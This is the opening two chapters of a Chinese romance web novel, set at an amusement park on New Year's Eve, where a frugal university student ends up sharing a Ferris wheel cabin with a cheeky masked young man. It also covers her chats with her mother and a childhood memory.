《摩天轮上你许什么愿》
1. 001
化雪这天,温度比前几天下雪还要冷。
跨年夜的游乐场流光绚烂,人声鼎沸,往复旋转的摩天轮底下,排起了不见尾的长队。
严冬寒意料峭,久站着,四肢不自觉越发冰凉,闻毓青将围巾往脖子上多绕一圈,在原地小幅度左右踱了几步。
身后忽地传来一道打碎严寒的声音,朝不远处。
“对面那位,侵犯肖像权了啊!”
这一嗓子,惹得周围小圈人都望了过去。闻毓青也不例外,稍偏头,视线落在斜前方,只见一个扎着双马尾青春靓丽的女孩举着手机,呆滞一瞬,不好意思地吐了下舌头。
在身侧朋友怂恿的推搡动作下,女孩小跑走近,“对不起,向你道歉。”她晃了晃手机,眼睛笑成弯弯的月牙,“我才打开相机,我发誓一张都没拍到。”
男生语气听不出情绪,“那你举那么久是在拍空气?”
“相机卡顿了,”女生道:“我还在找角度呢,真没拍,不信的话你检查相册。”
“免了,看你长得不像会骗人的样子,暂且信你。”
女孩一听,顿时笑靥如花,“刚才未经同意是我不对,现在当面问成吗?能不能跟你拍个合照呢?”
“喏,”男生努努下巴示意,“那儿不是一堆帅哥呢,你找他们拍去。”
人就在身后,闻毓青不好明目张胆回头看戏,只竖着耳朵听墙角,眼睛随意瞄向园区里几个穿着华丽张扬的古装戏服的俊男美女们,NPC个个脸上挂着积极营业的漂亮笑容,与游客合照互动时尽显亲昵。
更有甚者,穿着领口大开的单薄西装,露出一大片偾张的胸肌。在这个寒风凛冽的冬夜,穿成这样着实需要勇气,闻毓青感叹不已,这钱挣得不容易。
然而效果确实不错,他们周围群聚了不少围观的游客,高举手机录像拍照,其中一位肌肉型男牵着一名游客的手贴放在胸膛,随之爆发的尖叫声如浪迭起。
被叫声吸引,女孩往那处看了几眼,嘴角一抽,转回来道:“...还是算了吧,我觉得你比那几个帅一点,”她又补充强调:“上半张脸!”
“......”空气冻住片刻,而后响起一道夹带哼声的笑,“要不我把口罩摘下来?”
女孩音量放大了些,“别别别!”
“嗯?”
“保留美好想象。”
身后的男生发出近似嗤笑的声音,“你可真有意思。”
女孩问:“能不能拍嘛?”
“照你的说法,今天这张照要拍不成,我就是白月光一样的存在了呗,”男生信口闲扯,语气散漫道:“多好,就让我继续留在你的美好想象里。”
还挺冷幽默,女孩乐呵呵笑起来。
“别啊,我刚才讲话不过脑子,”他讲话随意,女孩方才那点礼貌拘谨也不见了,和他开起玩笑,“不会真戳中什么痛处了吧?口罩帅哥?”
他笑,“扎心了啊。”
听出他顺坡下驴回答里的拒绝意味,女孩不再纠缠,“好吧,不想拍就不拍,刚才打扰啦,拜拜!”
两条柔顺的马尾在空中荡起优美的弧线,女孩小跑回同伴身边,不知和对方私语了什么,两人倏地哈哈大笑起来,勾着臂弯,雀跃地走远了。
步伐轻快洒脱,闻毓青长久排队蓄积的沉闷感似随之被踏散。
她吐吸一口长气,更换肺部氧气。
在女孩出现之前,她戴着耳机听播客,打发漫长而无聊的等待,并不曾留意到身后站的人。
以她浅薄的审美阅历来看,今晚的NPC已经算是普通人里长相上乘的一批,更别说还特意化着浓重而精致的妆容,放大了五官各处的优点。从一进园区起,一众盘顺条亮的帅哥美女争先跃入视线,眼前是一亮又一亮。
比NPC还帅,是有多帅?
好奇心被挑起,闻毓青回头看了一眼,男生正低头玩手机,额前细碎短发遮挡了部分眉眼,完全看不到什么。
就在这时,那颗脑袋冷不丁地抬起,直勾勾对上她的眼眸。
是半张没带任何粉饰的脸。
眉头上挑,眼神藏锋,明明只是无意扫来的一眼,透亮的瞳孔像是要把人望穿。此时,立体眉骨下的那双深邃眼眸微微眯起,流露出一丝漫不经心的玩味。
闻毓青一窘,眼皮颤了颤,打算若无其事转回去。
对方出声:“好看吗?”
闻毓青脖子僵在原处,懵了一瞬间。
是好看的。
黑色飞行夹克和黑色长裤,连口罩都是黑色的,许是被风吹冷了,他把里面那件灰色连帽卫衣的帽子扣在头上,整个人高瘦劲挺,像园区边上还挂着雪的景观树。
照明灯光线从他身后打过来,她的头顶被他挡出了一小片阴影。
而盯着她的这双漂亮瞳孔,亮莹莹的,映着弧光,又或许暗藏对她好奇打量的狡黠回敬。尤其是他看她没回应,就稍稍弯下脖子,脑袋低了些,偏着头狐疑地抬了下眉。
真是一双过分传情达意的眉眼。
即便这时仅在表达疑问,都不合时宜地逃逸出几丝隐约的撩人气息。
霎那间,闻毓青脑中迸现了许多东西,但却模糊失焦。
有点紧张,但通常这个时候,呈现出来的都是面无表情的状态,只有她自己知道,现在心跳快了些。这可不能怪她,毕竟他们的距离比平常她习惯的社交距离近了许多。
男生盯了几秒,突然眨了眨眼,问:“要不......咱俩拍一张?”
一阵疾风吹得人哆嗦,闻毓青愣了愣:“啊?”
拍什么?
脑中重新过了一遍他的话,这才反应过来,他是以为她也想搭讪吗?
闻毓青感到猝不及防和无语,又不是什么大明星,怎么张口就问别人是不是想和他拍照?
长队动起来,人流往前迁徙一大段,闻毓青没搭腔,飞快转回去,随着队伍往前挪。身后传来一道轻笑,很快就像雾一般消融在空气中。
闻毓青却听见了,不过人还是跟罚站似的,直挺挺盯着前面人的后脑勺,坚决不再往后看。
以免助长他人的自我膨胀!
木头人站了几分钟,无味地排着队,脑中无端浮现方才看到的半张脸,怪不得刚才双马尾女孩不让他摘口罩——但凡下半张脸稍微有点令人失望的地方,都适配不上那对漂亮的眉眼,终归是可惜的。
她长抒一口气,脑回路这一刹那突然连上,刚才人家主动要拍合照都不答应的人,怎么会主动问她拍不拍呢?
所以,是在拐弯抹角地取笑她偷瞄?
-
妈妈发来消息,问她元旦假期回不回家。
闻毓青和她说不回去,然后再一次,不受控制地点进妈妈的朋友圈,再看一遍她上上周日的那条朋友圈。
【阿欢:第一次带娃坐摩天轮,高兴坏了[捂嘴笑][捂嘴笑]】
文案底下的视频里,一家三口坐在游乐园的摩天轮上,弟弟邓昕轩坐在继父邓硕旁边,转过身跪坐起来,兴奋地扒在窗上往外探看,嘴里哇哇哇个不停。
坐在对面帮忙录像的妈妈也跟着笑起来,出声让他乖乖坐好。
其乐融融,好不温馨。
往常妈妈晒的光线排版毫不讲究的美食照片,或者在足浴店门口拍张照片发朋友圈营业打卡,闻毓青都会点赞后立刻评论“阿欢姐又做好吃的啦”、“阿欢姐辛苦啦”之类的话,然后配上几个妈妈爱用的捂嘴笑小黄豆表情。
也不清楚妈妈知不知道她在故意学她,每次收到她的评论,也回她一串捂嘴笑小黄豆。
不过这条游乐园的朋友圈,闻毓青不点赞也不评论,如同完全没有刷到过一样,“小县城哪里来的摩天轮”的疑问也因此压在心头。
可以装作没看到,可怎么也没办法装作不在意.
这算是家庭旅游吗?她以前可没这样的待遇,现在条件是越来越好,妈妈和继父带着邓昕轩出去玩,却忘了还有个她,甚至一句过问都没有。
闻毓青不免感到一丝失落,好像自己是个多余的人,多余的人就不需要参与,也不需要被告知。这些天,和妈妈几次的微信聊天里,她一次也没提起,就像是故意避之不谈。
心里那点不舒服的情绪愈发高涨,于是她小发雷霆,那条朋友圈之后的所有动态,都不点赞评论了。
她用这种方式,暗戳戳表明自己的小委屈,这不好直说,显得她多不懂事,和一个小孩子吃醋计较。
或许方式太过隐蔽,妈妈并没有领悟到这一点。
长大的好处在这时凸显出来,二十来岁的成年人,时间金钱可负担的情况下,独自做什么不行呢?
她买了张跨年夜的门票,吃完晚饭从学校出发,地铁转公交坐了一个多小时,终于抵达坐落在宜江城郊的大型游乐场。
这儿有一座很大的标志性摩天轮,一进园区就看到远方那座高耸的巨型圆盘设施,从乌泱泱的人群中错身穿行,她直奔摩天轮排队区域。
人很多,热闹喧嚣,园区里洋溢着欢乐的音乐,即便一个人来这儿,也不显得孤单。
顶端弹出消息小窗口,她放大。
阿欢:「[红包]」
闻毓青:「发红包给我做什么啊?」
阿欢:「考完试了,让你去放松一下[龇牙]」
原本还郁闷着,看到这里,闻毓青努起嘴,哼了一声,也把闷气从鼻息间喷出了一点儿。
闻毓青:「能去哪里玩哦」
妈妈把朋友圈那条视频发送给了她。
阿欢:「游乐园啊[捂嘴笑]」
阿欢:「前段时间,我和你叔带轩轩来宜江了。」
闻毓青:「你们来宜江了!?我都不知道?」
阿欢:「你不是说月底要考试,妈妈怕打扰你,没跟你讲。」
闻毓青顿时想起来,大约是中旬的时候,妈妈问过她二十几号那几天有没有空,她当时做完一套肖四,选择题正确率低得离谱,心情沉重地做订正,很敷衍地回妈妈一连串“快考试了很忙非常没空最近别打电话过来哈”。
想来那时妈妈应该是打算和她说这件事。
闻毓青:「你们来宜江做什么?」
阿欢:「还不是轩轩的上小学的事,赵姐托人帮忙转到宜江实小去了。」
赵姐是妈妈足浴店的常客,闻毓青总听她提起,听说儿子在宜江工作,没想到还有这种关系。
闻毓青的家乡,确切地说,是她继父家乡所在的小县城,宁州县,位于宜江市隔壁的清远市,两个城市属于同一个省。本省教育资源一般,好的中学都集中在宜江,省内好点的高校也只有宜江大学这一所末流211。
能把人送到宜江实小念书,当然是件好事,只是......
闻毓青:「那他住哪里?谁照顾他?」
实小没有学生宿舍,七八岁大的孩子,肯定要有人陪着,难道妈妈要过来?可实小在市中心的位置,那里店租比宁州这个小县城要贵上一两倍不止,将才开了一年多的足浴店迁到宜江来,显然不大现实。
所以,不会要让她管他吧?
想到这儿,闻毓青太阳穴直突突,一时半会儿她还能帮忙照看一下,可明年夏天毕业之后,就不好说了。
阿欢:「住他表叔家里,这次来宜江就是找他们。」
继父邓硕在宁州县没什么来往的亲戚,闻毓青对此并不知情,但这对她而言,是个好消息。
这次又是转学又是寄住亲戚家,还不知道花了多少钱,闻毓青没有具体概念,但知道绝对是不小的一笔花销。
闻毓青:「阿欢姐最近手头紧不紧啊」
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阿欢:「怎的哇,你要给我变出几百万[捂嘴笑]」
闻毓青:「我存了点小钱的」
阿欢:「用不了你操心的啦,你好好学习,有钱自己花。」
阿欢:「我共你讲,轩轩表婶在游乐园工作,送了三张票,让我们带轩轩去玩。」
妈妈打字速度不快,看顶端显示正在输入,闻毓青耐心等她输完。
阿欢:「还想问问他表婶能不能多给张票,我好给你留着,哎哟想来想去,怕人家觉得我占小便宜,这哪里好意思,说不出口哦[捂嘴笑]」
看见这个捂嘴笑表情,闻毓青莫名想笑,脑子里仿佛浮现妈妈不好意思的模样,有点搞笑,又有点可爱。
她没和妈妈说看到了那条摩天轮的朋友圈,顺势往下聊。
闻毓青:「好玩吗?」
阿欢:「你们小孩子喜欢玩,我们都是陪着轩轩,宜江的这个游乐场还蛮大的,好多人啊,你有没有去玩过?」
闻毓青:「没有[哭哭]」
阿欢:「你们学校元旦放几天假,你去玩一玩,钱够不够?」
闻毓青:「够了够了」
她买的是夜场票,比全天票价便宜。
阿欢:「要睡觉了[犯困]」
闻毓青正准备说晚安,妈妈又发来一条消息。
阿欢:「对了,最近怎么都不给妈妈点赞哦?」
这行字跳出,闻毓青神色一动,咧嘴笑出来。
唇齿间呵出的热气触及冰冷的手机屏幕,化作半透明的薄膜,她用指腹边缘刮了几下,涂抹出清晰的画面。
妈妈那张用作头像的、双臂搂着两个小孩的笑颜合照随之露出。
闻毓青:「我去给你补赞[捂嘴笑]」
闻毓青:「阿欢姐晚安![月亮]」
-
最后一只亮着灯的轿厢缓缓转到低空。
透过玻璃窗,能看见里头一对情侣并肩而坐,谈笑正欢。
工作人员在站台候着,随口和旁边的闻毓青说:“你俩运气挺好,能赶上零点这趟。”
跨年夜的游乐园,情侣约会的热门场地,很显然,对方下意识误会了她和身后男生的关系,闻毓青张口解释:“我们不是一起的。”
话音刚落,有人忙出声:“你好,请问能不能和你换个顺序?”
一个文质彬彬的、戴着金丝边眼镜的男生,越过那个戴口罩的男生,急匆匆走近闻毓青跟前。
“你一个人的话,能不能把这个轿厢让给我,”他向后看了一眼,放低音量:“帮个忙,我想新年零点的时候向喜欢的女生表白,我是算着时间排的,没想到就差一点点......”
闻毓青侧目看了眼那位秀气的女孩,对视时,对方远远朝她微笑。
让给他们,意味着还要再等将近二十多分钟甚至半小时左右,如果是普通的换顺序请求,她肯定立马拒绝,谁还不是在排队呢?
然而闻毓青最大的毛病,就是容易心软,这是人家特意筹划的表白时机,态度也客气,反正都排了快两个半小时的队,也不差这几十分钟。
她想了想,再等等也没关系吧。
见她还没应答,眼镜男生更加礼貌,“我知道这个很难等,但是真的拜托你帮个忙。”
今晚是特殊时段,游乐园人头爆满,每个游乐项目都异常难等,一晚上能玩到两三个项目算不错了。像摩天轮这种项目,时间长,队伍也长,有耐心排到现在的,大概率是站很久。
他很讲道理,和她打商量:“你愿意的话,我可以补偿你今晚的票价。”
只是多等一圈而已,并不是什么值得讨要报酬和补偿的行为,难得出来玩,闻毓青不打算搞得像给人代排赚外快一般。
闻毓青摆摆手,朝他说:“不用了,我让——”
“我不同意!”
两人齐刷刷看向半路杀出的人。
他双手揣兜,迈着长腿,懒洋洋走了两步靠近,“你不能答应他。”
闻毓青疑惑不已,他有什么意见?
眼镜男生错愕了几秒,抬眼看着高出他一个头的来人,同他慢条斯理讲话:“你好,我和这位姑娘换位置,并未耽误你吧。”
而那个男生扯了扯口罩,并不和他多废口舌,转向闻毓青,简单干脆:“我出两倍票价,你跟我换,行不?”
“你——”眼镜男生哽住,即便因对方乱插一脚有些恼意,也保持着良好修养,只是语气放重说了句:“毫无半点成人之美!”
旁边那男生被逗笑了,在他肩上拍了拍,“那可真是不好意思了。”
闻毓青望向他,并未从男生眉梢扬着的笑中读出抱歉的意味,料想这人也就只有嘴上说的不好意思。
眼镜男生不自在地用肩膀别开他的手,和闻毓青说:“我出三倍票价。”
口罩男侧目,扫了他一眼,抬价,“四倍!”
于是他咬牙,“五倍!”
闻毓青傻眼,怎么成拍卖现场了?
“十倍!”
男生扶了扶眼镜,不说话了,气得两只眼睛怒瞪着他,同行的女孩过来拉了拉他的衣袖,“算了吧,坐哪趟都一样,别和他胡搅蛮缠了。”
还真是胡搅蛮缠,闻毓青抿唇,心里表示认同,这事哪里有他不答应的份儿。
轿厢停靠在站台旁边,里面的人相继走出来。
工作人员看戏完毕,催促道:“到底谁上啊?赶紧的!”
闻毓青仍是决定把轿厢让给他们,“你俩——”
话音戛然而止。
下一秒,她被一股不容抗拒的力道推着往前走。
方才胡搅蛮缠的人朝工作人员喊着“来了”,抛下一句“哥们儿,对不住了啊”,顶着身后数道匪夷所思的诧异目光,如同一尾灵活的鱼,溜窜进了闻毓青眼前的轿厢里。
2. 002
“傻站在外面干嘛?快进来啊。”
男生懒散地倚靠在轿厢一侧的座位上,斜眼看她,手指朝里扇了扇,招呼她进来。
闻毓青蹙眉瞪他,没什么好脸色。
真是好一副泼皮无赖的做派,方才搅浑了一池水,就他摸到了鱼。
社交向来打安全牌的闻毓青,倾向于和看起来有礼貌有素质的人打交道,平和浅淡的体面社交,不容易有什么矛盾。
遇到这种不按常理出牌、不讲武德的人,她向来避之不及。
有过一瞬间把他从里面拽出来的冲动,不过也只是想想,万一他不讲道理动手了怎么办?她可不想因为抢一个摩天轮轿厢上社会新闻,何况这个人比普通人还更不要脸!
“不进来的话,就我一个人坐了?”
闻毓青瞟他一眼,触及他说话时眉眼间掩饰不住的得意神情,心里哼了声。
虽然并不情愿和他在一个环境里共处,但想到就这么让他一个人享受到了最后一个零点时段的轿厢,可真是便宜他了。
于是在工作人员的催促下,她勉为其难地走了进去。
她在对面的座位坐下。
狭小空间内的两个斜对角位置,是他们能离得最远的距离。
摩天轮慢慢转动起来,轿厢晃荡着,月色纯净的夜空下,缓升起一盏盏暖黄色的天灯。
闻毓青切掉耳机里那档已无心聆听的访谈播客,点开网易云,在列表随手播放了一首歌,音量调高到可以覆盖周遭的动静。
乐声汩汩流动于耳道,她垂眼,指尖在手机屏幕上没有目的地划过一则则社媒平台的碎片信息,有意地把另一个人当空气。
直到......
模糊的脆响,混杂在歌声里。
闻毓青余光瞄到面前出现的手指,对方嫌她还没给反应,就近打了个响指,歪头看她,“喂!”
在手机音量键按了两下,调低声音,她用眼神询问:你干嘛?
男生没立马开口,眼睛和她对上,闻毓青略偏过脸,别开目光。
他问:“不怕掉下去?”
闻毓青瞥了眼身侧紧闭的轿厢门,没搭理他。
他也无所谓,自顾自道:“几年前个游客靠在摩天轮轿厢门边,门不知道怎么没关紧,人掉下去了,摔得血肉模糊,你可悠着点......”
闻毓青懒得理他,听起来像家长吓唬小孩的故事。
虽如此,她还是另一只手抓紧了大腿旁的座椅边缘,屁股像蜗牛一样蛄蛹,悄悄往里面挪了挪。出门在外,还是在高空,安全第一总是没错的。
窥见她的小动作,男生收回目光,好笑地嗤了声,手缩进衣兜里,正好摸到点东西。
咚咚两声。
硬邦邦的座位上有什么东西弹跳一下。
闻毓青斜睨过去,方方正正的一粒糖,包装的糖纸表面印着墨蓝色的字——
「生活要埋了我」
闻毓青:“......”
呸呸呸!真晦气!
她嫌弃地皱起了鼻子,只见对面的人剥了颗糖进嘴里,将糖纸揉成一团捏在指尖,伴着一下硬糖碰撞牙齿的声响,努了努下巴说:“请你吃糖。”
竟然还用上了“请”这个字眼。不知道的以为他空投炸/弹呢。闻毓青心道,你这是给路边流浪狗随手丢骨头,连递都懒得递。
老一辈的礼仪规范传下来,阿欢姐常言传身教,要双手接递东西,尤其是对长辈,这是尊重。
他们并不熟稔,因而在闻毓青看来,这是很不尊重人的行为。
脑海两个小人打架——
「什么人啊!把糖扔回去!谁稀罕了!」
「算了算了,忍忍吧,万一招惹到神经病怎么办啊!」
最终,社会苟活原则胜。
闻毓青只在颅内小剧场演了一场,精神胜利法过过瘾就好。
她一言不发,男生挑了挑眉,“不吃?”
她语气比轿厢内的硬座还要硬邦邦,回复:“不用,谢谢。”
空气安静几秒。
对方扯起唇角,无所谓地耸耸肩,“随便。”
长臂一伸,前倾身子把那颗糖够回去,一下子剥进嘴里,“不吃还我,别浪费。”
两颗硬糖在他口腔四处滚动,响起敲木鱼一样的细碎碰撞声,之后是连续的几道如小石块迸裂的声音,嘎嘣嘎嘣,清脆,有力。
也硌人。
闻毓青眉头直跳,听着都嫌牙酸牙疼,默默将耳机的音量调大。
-
轿厢转到半空,到最高点还要再旋转将近九十多度。
一圈摩天轮的时间是二十分钟,那么抵达顶点还需要大约五分钟。
现在已经是23:58分,这只轿厢不可能在零点的时候抵达顶点。对面那人早就背对着她,面朝玻璃窗外,举起手机打开录像模式,预备迎接游乐园在零点绽放的烟花。
闻毓青非常善于自我调节,给自己说好听话——
没能在零点抵达顶点也没关系,这意味着新一年到来的那一刻,她还在不断地上升。新的一年,希望人生也能像这样,持续攀升呀!
她对自己如是说。
反正什么都往好了说,也不知道这种傻乎乎的乐观从哪里来的。肩膀耸起又落下,深深吸气又用力呼气,闻毓青在封闭小轿厢内完成一次通畅的呼吸。
她忽地扬唇笑起来,是跟爱傻乐的阿欢姐学的。
其实她并没有苛求太多,只是说希望。曾经生活最难捱的时候,妈妈一遍遍告诉她,别担心,一切都会慢慢变好的,到底是说给她听还是给自己咬牙打气呢?
不管如何,人生总要有些美好的向往才行。
只要一直这样,保持住长期运动的状态,总能在变化中,看到不同视角的景色,慢慢地往上爬,终有一时能抵达高处望见更广阔辽远的全景。
希望吧。
耳机里播放的那首歌曲落下尾声,新一首歌接踵而至。
在外独处时,戴耳机听东西,是闻毓青为数不多的乐趣之一。电子设备和身体器官组合,搭建出一条流畅的串联电路,声波振动,点亮了大脑那盏灯。
一串键盘声的音效,跟着一声咚咚咚的消息提示音效,轻快的节奏在耳机与耳朵构筑的私密空间里环绕。
半空中的闻毓青转过头去,望向玻璃窗外的世界,地面闪烁银河般明亮的灯串。
「四五六抬起头」
歌声提醒她仰望天空。
月色皎洁明亮,却不清冷孤高,染上这偌大一座游乐园所散发出的无尽暖色。
而她坐在亮着暖黄灯光的轿厢内,随这盏轻盈的天灯,飘呀飘呀,化作夜空中的一枚发光的星星。
“十!”没多久,园区内响起洪亮的最后十秒倒计时。
这是一场心照不宣的盛大仪式。
整个世界的喜悦铺天盖地奔涌而出,席卷了闻毓青,她在这时微笑地闭上眼睛,和所有人一起,在心里默念倒计时。
同时非常临时地思考:零点那一刻许什么愿好呢?
“九、八、七.....”
来自地面以及轿厢内的、夹杂期待的喊声,同歌声一起送入闻毓青的耳朵。她回头,诧异地看了一眼那道正以手掌为扩音喇叭在高呼倒计时的背影。
“六、五、四......”
还剩最后几秒,她闭眼转回去,面对天空合拢双手,摆出祈祷的姿势。
“三!”
“二!”
“一!”
“新年快乐!!!”
整个游乐园整齐划一的热烈欢呼声,引燃了夜空绚丽的烟花。
真美好。
在璀璨夺目的流光里,闻毓青目光灼灼,无声道:闻毓青新年快乐!阿欢姐新年快乐!平安健康!万事顺遂!
说完新年祝福,她飞快闭眼许愿。
与此同时,身后响起嘹亮的呐喊,闻毓青听出了“赵xīntóng”三个字,应该是个女孩的名字,男生紧接着高呼:“新年快乐!”
嗓门特别大,像是要把这句祝福用力抛向更高更遥远的星河。
闻毓青耳廓微动,分神了一瞬,回过神后赶紧继续向老天汇报心愿单。
不像这间轿厢里的另一人,她倒是没什么风花雪月的浪漫心愿,有的只是各种朴素无比的求好运愿望,一条条清单在脑中罗列,清楚明了。许愿许得太专心,还戴着耳机,都没有意识到自己的默念在不经意间化作花火下的低声絮叨。
念完一堆愿望后睁眼,烟花依然在绽放,她录了一小段视频。
背后蓦地传来好奇询问:“嘟嘟囔囔这么久,许什么愿呢?”
似乎是音量的惯性还在,以至于这道声音亮得像近在耳边,闻毓青上半身一激灵,差点手抖摔了手机,转头意外地发现自己被陌生的镜头对着,慌忙别过脸,抬手挡在面前。
“哦,忘关了。”举着手机录像的男生反应过来,息屏收进衣兜里,和她讲:“关了关了,把脸露出来,大方点啊。”
闻毓青喉间一哽:“......”
隔着指间缝隙瞄了眼,确认完毕,这才放下手。
她无语地撇开目光,“到底是谁把脸遮得严严实实不大方的?”
他挑眉,扬起惹人厌的坏笑,意有所指道:“这下肯搭理我了?”
“......”闻毓青又不想和他说话了。
他眼睛弯起,朝她道:“新年快乐!”
闻毓青现在很开心,接下了这份祝福。
她点点头,“新年快乐。”
-
摩天轮转完剩下的小半圈,闻毓青从天空的小房间离开,双脚重新落到地面。
下楼梯的时候,身旁的男生隔着羽绒服轻拍了一下她的胳膊。
她仰头,“怎么了?”
男生顿了顿,欲言又止的样子。
“没什么,”他晃了两下手,“再见。”
莫名其妙。
闻毓青回了他一句不走心的再见,转身离开。
走了几步,她回过头,“喂!”
“干嘛?”男生停在原地,等她说话。
抱着“反正以后江湖再也不见”的想法,闻毓青这时候忽然硬气起来,朝他高声说:“你不知道吗,强行插队真的很没素质!”
呼!终于吐掉一口憋闷已久的气了,心里难得的痛快。
不过,对方的厚脸皮显然超出她的认知,轻飘飘地回了句:“哦,蹭别人的不叫插队。”
“......”
怎么有人这么不要脸啊!
闻毓青忍不住翻了个白眼,头也不回地往前走。
两人背道而驰,寒风从她身后吹来,送来一道清澈的男声。
闻毓青脚步一滞,听见他说:“谢了!”
原来是会说谢谢的啊。
-
围着游乐园转了一圈,闻毓青拍了些照片,在零点三十五分的时候出了园区大门。
门口的路边站停了许多年轻人,这时她并没感到到任何不妥,直到拿出手机打车,看到页面显示的“[火花]附近623人叫车”,顿时目瞪口呆。
这要等到什么时候?
买这张跨年夜门票时,她想得太简单了。凌晨公交系统都停运了,她可以打车回学校宿舍,还提前在软件上查了打车费,比在外面住一晚上划算多了。
大学这几年,她没加入任何社团和学生会,几乎不参与任何需要大花销的娱乐活动,除了上课自习外,课余时间无不在打工兼职。每一分钱都来之不易,她向来能省则省。
可很多事情并不能完全如她构想得那样顺利。
比如今晚。
在等车的同时,她切软件去查看附近的酒店,不用想,基本上都满房了,还剩一些可以预定的房间,一看价格,四位数,闻毓青果断拒绝。
舍友发消息问她怎么还没回。
看到备注的名字,闻毓青有些意外,最不可能跨年夜留在宿舍的人居然独守空房。而她这个以前每年兼职下班就回宿舍蹲的人,居然还在外面游荡。两人显然都对彼此的异常感到奇怪。
闻毓青:「你今晚没出去玩?」
于海蕴:「嗯」
闻毓青:「......我今晚来游乐园了,出来十几分钟了,现在还在大门口的马路边等车」
她截了张已经变成“[火花]附近715人叫车”打车页面的图片发过去。
闻毓青:「好多人啊[哭]」
于海蕴:「你没提前订酒店?跨年夜的人流量,动动脚指头都能想到,怎么可能打到车」
闻毓青嘴角耷拉,她当然知道跨年夜人会很多,但没想到能这么夸张,怎么会有这么多人呢?可能对很多爱出去玩的人来说,这是该预判到的情况,但对她来说,是意料之外的状况。
因为往年的每个节假日她都没怎么出去玩,几乎在打工,时薪比平常高,她非常乐于接这些时段的兼职。
凌晨滞留在寒风凛冽的郊区路边,附近没个遮挡,她干站在这儿,冷得不行。手指头冻得僵硬,打字不太灵活。
明明半个多小时前在摩天轮上还很开心。
她在键盘上敲出“省钱”两个字,想了想,又在后面补了一句。
闻毓青:「省钱......现在要捡芝麻丢西瓜了[捂脸]」
发出去后,她盯着这条消息。
小黄豆捂脸的表情生动又滑稽,多加的后半句自嘲,又让她此刻心情莫名低落,这种窘迫的感觉不太好受。
当然比起真正的窘迫,这不算什么。
她经历过很长一段时间拮据贫困的生活,妈妈每天像个疲于算账的会计,不过算的都是几块几分几毛的帐,柴米油盐酱醋柴,还有花在她身上的各种医药费和学杂费。
在设备简单的乡下小教室里,闻毓青摊开书本,纸上出现的不是数学公式也不是语文古诗,是生存的账单。
有些人会因为童年的匮乏而报复性消费,以此来弥补和治愈当时的自己,她好像从来不这样。
和妈妈相依为命的那段时光,是她被全心全意的爱紧紧环抱着的时光。虽然条件异常艰苦,但妈妈很爱她,用尽所有方式,温柔地包裹她,生活的刺都只扎在妈妈身上。
比起享受和消费,闻毓青更热衷于攒钱,每隔一段时间她都会看一眼银行卡的数字,储蓄金额在不断增长,她的安全感也随之越来越满。
没存到预计的目标金额时,支出的每一笔没必要的钱,都是
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她实现目标的绊脚石。
她并不想让曾经的那种捉襟见肘的日子再次上演,她也希望,以后能给妈妈的,是银行卡存折,而不是账单。
过了一会儿,对面才回消息。
于海蕴:「你别等了,难等」
闻毓青:「[心碎]」
于海蕴:「我刚想起来,游乐场附近新建了一个文体中心,今晚首唱,几万人场的演唱会,你那里应该有很多听完演唱会出来跨年的」
于海蕴:「赶紧订个周边的民宿,马路边吹几小时风要冻死」
闻毓青:「好的,我去看看」
在手机上划拉十来分钟,她终于找到一家直线距离2.1公里的民宿,从照片看,应该是在一个老小区里,房间很小很旧,价格今晚涨到两百多,闻毓青觉得不值,但已经是就近能找到的最低价格的了。
跟着导航走在路上,周围有不少同方向的人。相伴而行的年轻人们有说有笑的,气氛热闹,像是来参加夜间徒步活动。闻毓青一看,果然不少背包上挂着明星周边玩偶的人。
越往下走,人群在各个岔道分流开,一条路上剩的人便越来越稀稀拉拉。
人行道变宽,也变得更寂静落寞。
又一阵疾风刮过,从后往前吹得披散的长发糊了她一脸,闻毓青浑身打了个颤,将头发绕进那条妈妈给她织的红色羊绒围巾里,双臂交叉抱紧,瑟缩着脖子往前走。
今天的地铁和公交上都是乌泱泱的人,她全程站着到了游乐园,排了一晚上队才坐了二十分钟,现在还要继续走几公里路。
冰冷的腿脚受不了,开始泛起阵阵明显的酸痛感。
脑子里环绕着海蕴那句“动动脚指头都想得到...”,她叹气,为什么自己想不到?
今晚这么凄惨,可以说是她没有先见之明而导致的。
沉浸在自怨自艾自怜之际,耳机里突然跳出一首音乐软件随机推荐的《二泉映月》。
“......”
听得人心拔凉拔凉的。
她当即幻视自己是鬼畜视频里惨兮兮又滑稽的倒霉鬼。
闻毓青真是哭笑不得,网易云到底想怎样?!
火速把播放模式重新调回列表循环模式,她播放起在摩天轮上听的那些欢快歌曲。
几首歌入耳,情绪在步行过程中稍稍回升,她长舒一口气,瞥了眼手机右上角的电量格,表示电量的色块部分,被充沛的四叶草绿色填满。
这一刻,也忽觉幸运,起码电量够撑。
人行道上晃动着一道影子,她原地站定,愣愣盯了几秒,然后毫无征兆地带着上半身往侧边一歪,这时影子也跟着弯了一半。
记事以来,闻毓青记忆里第一次关于影子的深刻印象,应该是幼时的夏天。
那时她在家闷得慌,独自偷跑去外面玩,田里什么都好玩,拔狗尾巴草挂在耳朵上当做耳坠,田埂上紫云英开得鲜妍繁茂,她摘了一大把,将星星点点的紫色小花插在发间、衣领处薄纱蝴蝶结的缝隙里,路过满缀黄瓜的藤架下,她揪下青翠油亮的一根生啃,嘴里嚼得发出脆响......
田野小径纵横,四通八达的,天光散尽,一切陷入幽寂。
闻毓青在黑暗的迷宫里晕头转向,找不到回家的路,害怕和饥饿充斥在小小的身躯内,她一边抹眼泪,一边盲目地往前走,走了好久,却发现自己越走越远,只好又晕头转向地绕回去。
到后面,她实在太累,就近在一片有作物遮蔽的田地里歇息。窸窣窣,那是风和一丛叶片打招呼的声音,鼻尖飘的,是泥土混着玉米的清香。
土地似乎还留有日头的余温,植物的清新味道包裹兜住了她的梦境,比起会说话的人,这些安静伫立在幽黑田间的守卫者,无声包容着大地上的一切。
梦中的女孩不知,风的讯号愈发强烈,强势掠过玉米丛,迎来了气喘吁吁的妈妈。
阿欢姐担惊受怕地找了她半夜,终于在玉米地里看到睡作一团的女儿,手电光一扫,还发现旁边丢了根啃了一半的玉米,顿时又哭又笑。
缓过情绪,阿欢姐擦掉孩子脸颊的泥巴和眼角未干的眼泪,捏捏她的脸蛋,“还知道睡在自家玉米地里哦。”
又看了眼乌漆嘛黑的玉米地,自顾自说着,“摘点早上蒸给你吃。”
几根玉米被利落地拔了须叶,塞进宽大的裤兜里,阿欢姐背着犯困的闻毓青走上回家的路,托在女儿大腿的手轻轻拍了两下。
“迷糊鬼醒醒,回家再睡,妈妈带你认路。”
